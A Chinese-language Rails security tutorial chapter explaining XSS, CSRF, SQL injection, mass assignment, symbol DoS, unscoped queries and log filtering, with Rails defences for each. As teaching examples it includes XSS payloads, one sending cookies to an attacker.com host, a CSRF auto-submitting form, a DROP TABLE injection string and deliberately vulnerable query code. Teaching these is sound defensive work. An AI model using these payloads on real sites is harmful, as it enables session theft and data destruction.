💎一站式轻松地调用各大LLM模型接口,支持GPT4、智谱、星火、月之暗面及文生图 广告
> If you’re the smartest person in the room, you’re in the wrong room. - Unknown 一旦你的網站要放到網際網路上,你就得接受被駭客攻擊的風險,小則倒站,大則使用者資料被竊取。而從網路設備、作業系統、網站伺服器、資料庫到應用程式,有高達75%的攻擊主要都發生在網站應用程式這一層,因此身為網站開發者的你,對於網路安全不能沒有基本的認識。 所幸Rails本身就內建了許多安全機制,像是SQL injection、XSS和CSRF等,可以幫助我們防範常見的數種網路攻擊,這一章會介紹幾個網路安全上的防範重點。 關於網路安全,有幾點觀念值得一提: * 不像做功能有就有,沒有就沒有。網路安全只能說相對比較安全。 * 不需要花太多功夫,網站就可以有足夠的安全性。但是如果需要極高的安全需求,花費的成本才會大幅提昇。 安全性有時和使用性(usability)*有時是衝突的,想要越高的安全性可能導致功能越難用(想想驗證碼吧)。這在設計上需要取捨。 * 安全性必須是設計軟體一開始就必須考量到 當然,還有一項最重要的網路安全黃金守則:「千萬不要相信使用者輸入進來的資料」。使用者是邪惡的,他們會有不預期的操作和輸入不正常的資料。 ## 跨站腳本攻擊XSS(Cross-Site Scripting) XSS可說是網站界第一名常見的攻擊模式,惡意的使用者可以將腳本程式碼放在網頁上讓其他使用者執行,任何可以讓使用者輸入資料的網站,都必須小心這個問題。例如可以將以下的程式貼到網頁上: ~~~ <script>alert('HACK YOU!');</script> <img src=javascript:alert('HACK YOU!')> <table background="javascript:alert('HACK YOU!')"> <script>document.write(document.cookie);</script> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> ~~~ 當一般使用者瀏覽到這一頁時,就會跳出alert視窗,或是將敏感資料例如cookie內容傳給攻擊者。 要防範這個問題的方法,就是要逸出使用者輸入的內容,例如將`<script>`變成`&lt;script&gt;`,使之顯示出來的時候不讓瀏覽器去執行。你可以會想只要逸出`<script>`就好了吧?這就錯了,請千萬不要嘗試建立黑名單過濾,你可以參觀[XSS Cheat Sheet](http://ha.ckers.org/xss.html)這個網站,就會知道有非常多形式可以讓瀏覽器去執行腳本程式。因此最簡單又保險的方式,就是全部逸出。這在Rails 3版本已經變成預設行為,任何View樣本的字串,都會做HTML溢出。 如果你知道資料是安全的不要逸出,這時你要用`html_safe`或`raw`方法: ~~~ "<p>safe</p>".html_safe # 或 raw("<p>safe</p>") ~~~ > 在Rails 3之前不會自動逸出,因此在樣板中需要加`escapeHTML()`或`h()`方法。也因為很多人常常會忘記造成XSS漏洞,所以在Rails 3之後就改成預設逸出了。 ### 如何開放使用者張貼HTML 但是有時候我們還是必須開放讓使用者可以張貼簡單的HTML內容,例如超連結、圖片、標題等等。這時候我們可以用白名單的作法,Rails提供了`sanitize()`方法可以過濾溢出。 > 即使使用Textile或Markdown語法,你還是必須過濾HTML標籤。 ## 跨站偽造請求CSRF(Cross-site request forgery) CSRF是說攻擊者可以利用別人的權限去執行網站上的操作,例如刪除資料。例如,攻擊者張貼了以下腳本到網頁上: ~~~ <img src="/posts/delete_all"> ~~~ 攻擊者自己當然是沒有權限可以執行”/posts/delete_all”這一頁,但是網站管理員有。當網站管理員看到這一頁時,瀏覽器就觸發了這個不預期的動作而把資料刪除。 要防範CSRF,首先可以從區別GET和POST的HTTP請求開始。我們在路由一章提過:所有讀取、查詢性質操作,都應該用GET,而會修改或刪除到資料的,則要用POST、PATCH/PUT或DELETE。這樣的設計,就可以防止上面的惡意程式碼了,因為在瀏覽器中必須用表單form才能送出POST請求。 不過,這樣還不夠。因為即使是POST,瀏覽器還是可能不經過你同意而自動發送出去,例如: ~~~ <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a> ~~~ 所幸,Rails內建了CSRF防禦功能,也就是所有的POST請求,都必須加上一個安全驗證碼。在app/controllers/application_controller.rb你會看到以下程式啟用這個功能: ~~~ class ApplicationController < ActionController::Base protect_from_forgery with: :exception end ~~~ 這個功能會在所有的表單中自動插入安全驗證碼: ~~~ <form action="/projects/1" class="edit_project" enctype="multipart/form-data" id="edit_project_1" method="post"> <div style="margin:0;padding:0;display:inline"> <input name="_method" type="hidden" value="patch" /> <input name="authenticity_token" type="hidden" value="cuI+ljBAcBxcEkv4pbeqLTEnRUb9mUYMgfpkwOtoyiA=" /> </div> ~~~ 如果POST請求沒有帶正確的驗證碼,Rails就會丟出一個`ActionController:InvalidAuthenticityToken`的錯誤。 > Layout中也有一段`<%= csrf_meta_tags %>`是給JavaScript讀取驗證碼用的。 ## SQL injection注入攻擊 SQL injection注入是說攻擊者可以輸入任意的SQL讓網站執行,這可說是最有殺傷力的攻擊。如果你寫出以下這種直接把輸入放在SQL條件中的程式: ~~~ Project.where("name = '#{params[:name]}'") ~~~ 那麼使用者只要輸入: ~~~ x'; DROP TABLE users; -- ~~~ 最後執行的SQL就會變成 ~~~ SELECT * FROM projects WHERE name = 'x'; DROP TABLE users; --’ ~~~ 其中的`;`結束了第一句,第二句`DROP TABLE users;`就讓你欲哭無淚。 > Exploits of a Mom[http://xkcd.com/327/](http://xkcd.com/327/) 要處理這個問題,也是一樣要對任何有包括使用者輸入值的SQL語句做逸出。在Rails ActiveRecord的where方法中使用Hash或Array寫法就會幫你處理,所以請一定都用這種寫法,而不要使用上述的字串參數寫法: ~~~ Project.where( { :name => params[:name] } ) # or Project.where( ["name = ?", params[:name] ] ) ~~~ 如果你有用到以下的方法,ActiveRecord是不會自動幫你逸出,要特別注意: * find_by_sql * execute * where 用字串參數 * group * order 你可以自定一些固定的參數,並檢查使用者輸入的資料,例如: ~~~ class User < ActiveRecord::Base def self.find_live_by_order(order) raise "SQL Injection Warning" unless ["id","id desc"].include?(order) where( :status => "live" ).order(order) end end ~~~ 或是手動呼叫`ActiveRecord::Base::connection.quote`方法: ~~~ class User < ActiveRecord::Base def self.find_live_by_order(order) where( :status => "live" ).order( connection.quote(order) ) end end ~~~ ## 大量賦值(Mass assignment) Mass assignemet是個Rails專屬,因為太方便而造成的安全性議題。ActiveRecord物件在新建或修改時,可以直接傳入一個Hash來設定屬性(這功能叫做Mass assignment),所以我們可以直接將網頁表單上的參數直接丟進放進去: ~~~ def create # 假設表單送出 params[:user] 參數是 # {:name => “ihover”, :email => "ihover@gmail.com", :is_admin => true} @user = User.create(params[:user]) end def update @user = User.update(params[:user]) end ~~~ 但是這個Model包含一些敏感屬性,例如此例中is_admin是個辨別是否是管理員的Boolean值,惡意的使用者可以直接修改HTML表單送出`is_admin=true`,造成了安全上的漏洞,所以以上的程式實際上會出現`ActiveModel::ForbiddenAttributesError`的安全錯誤訊息。 為了解決這個問題,Rails使用了[Strong Parameters](https://github.com/rails/strong_parameters)的機制來檢查`params`參數必須經過檢查才可以做Mass assignment,例如上述的程式必須改成: ~~~ def create @user = User.create(user_params) end def update @user = User.update(user_params) end protected def user_params params.require(:user).permit(:name, :email) end ~~~ 這樣才可以一次賦值`name`和`email`。 當然,如果你沒有Mass assignment的需求,大可不必用到Strong Parameters技巧,例如以下的程式也是可以運作的: ~~~ def create @user = User.create( :name => params[:user][:name], :email => params[:user][:email] ) end ~~~ ## Symbolize 問題 symbol是Ruby中常用的型態,相較於字串可以獲得更好的執行效率,其佔用記憶體較少,但其特性是不會被GC(garbage collection)記憶體回收的。因此只適合程式內部有限的情況中使用,而不要將使用者可以任意輸入的參數做symbol化,例如: ~~~ if params[:category].to_sym == :first # 此例直接比較字串即可 params[:category] == "first" # do something end ~~~ 這樣為什麼會有安全性問題呢?這是因為如果惡意的使用者不斷送出任意字元進行DoS(Denial of service attack)攻擊,那麼程式就會不斷把`params[:category]`做symbolize,產生無法回收的記憶體,進而把記憶體全部用光。 ## 不受限的資訊查詢 當你需要根據使用者傳進來的`params[:id]`做資料查詢的時候,你需要注意查詢的範圍,例如以下是找訂單: ~~~ def show @order = Order.find(params[:id]) end ~~~ 使用者只要隨意變更`params[:id]`,就可以查到別人的訂單,你可能會寫出以下的程式來防範: ~~~ def show @order = Order.find(params[:id]) if @order.user_id != current_user.id render :text => "你沒有權限" return end end ~~~ 不過這是多餘的寫法,你其實只要透過ActiveRecord限定範圍即可: ~~~ def show @order = current_user.orders.find(params[:id]) end ~~~ 這樣如果沒權限,就會變成找不到資料而已。 ## 敏感資訊處理 網站的敏感資訊,例如密碼、信用卡卡號等,請不要存在以下空間: * cookie * session * flash * 長時間放在記憶體中 * Log檔案 * 快取 其中Rails內建了log敏感資訊過濾的功能,在config/initializers/filter_parameter_logging.rb有一行這樣的設定: ~~~ Rails.application.config.filter_parameters += [:password] ~~~ 假設移除這一行,當使用者註冊時輸入密碼,Log檔案就會記錄: ~~~ Processing UsersController#create (for 127.0.0.1 at 2009-01-02 10:13:13) [POST] Parameters: {"user"=>{"name"=>"eifion", "password_confirmation"=>"secret", "password"=>"secret"}, "commit"=>"Register", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5"} ~~~ 其中的原始password就會被記錄下來的,非常地不好。如果套用上述的設定,Rails則會過濾成: ~~~ Processing UsersController#create (for 127.0.0.1 at 2009-01-02 11:02:33) [POST] Parameters: {"user"=>{"name"=>"susan", "password_confirmation"=>"[FILTERED]", "password"=>"[FILTERED]"}, "commit"=>"Register", "action"=>"create", "authenticity_token"=>"9efc03bcc37191d8a6dc3676e2e7890ecdfda0b5", "controller"=>"users"} ~~~ 這樣就毫無記錄了。 ## 投影片 * [Rails Security Best Practices](http://www.slideshare.net/ihower/rails-security-3299368) ## 其他線上資源 * [Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html) * [The Open Web Application Security Project](http://www.owasp.org/)